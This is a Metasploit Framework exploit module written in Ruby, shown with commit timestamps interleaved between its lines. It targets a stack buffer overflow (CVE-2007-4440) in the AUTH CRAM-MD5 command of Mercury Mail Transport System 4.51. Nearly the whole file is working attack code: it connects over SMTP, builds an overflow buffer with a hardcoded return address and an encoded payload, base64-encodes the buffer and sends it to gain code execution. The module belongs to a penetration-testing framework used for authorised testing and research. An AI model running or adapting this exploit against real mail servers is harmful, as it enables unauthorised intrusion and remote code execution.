2007-11-07 18:42:19 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2007-11-07 18:42:19 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-11-07 18:42:19 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-11-07 18:42:19 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2007-11-07 18:42:19 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-11-07 18:42:19 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-11-07 18:42:19 +00:00
|
|
|
'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.
|
2007-11-07 18:42:19 +00:00
|
|
|
By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
|
|
|
|
may be able to execute arbitrary code.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
2008-04-21 05:27:06 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-11-07 18:42:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-4440' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '39669' ],
|
2007-11-07 18:42:19 +00:00
|
|
|
[ 'BID', '25357' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20\x25",
|
2010-04-30 08:40:19 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2007-11-07 18:42:19 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-11-07 18:42:19 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll
|
2007-11-07 18:42:19 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Aug 18 2007'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([ Opt::RPORT(25) ], self.class)
|
2007-11-07 18:42:19 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sock.get_once
|
2007-11-07 18:42:19 +00:00
|
|
|
|
|
|
|
sock.put("EHLO\r\n")
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sock.get_once
|
|
|
|
|
2007-11-07 18:42:19 +00:00
|
|
|
sock.put("AUTH CRAM-MD5\r\n")
|
|
|
|
|
|
|
|
sock.get_once
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.25)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
buffer = rand_text_alpha_upper(204) + [target.ret].pack('V')
|
2007-11-07 18:42:19 +00:00
|
|
|
buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-11-07 18:42:19 +00:00
|
|
|
sploit = Rex::Text.encode_base64(buffer)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
2007-11-07 18:42:19 +00:00
|
|
|
sock.put(sploit + "\r\n")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-11-07 18:42:19 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|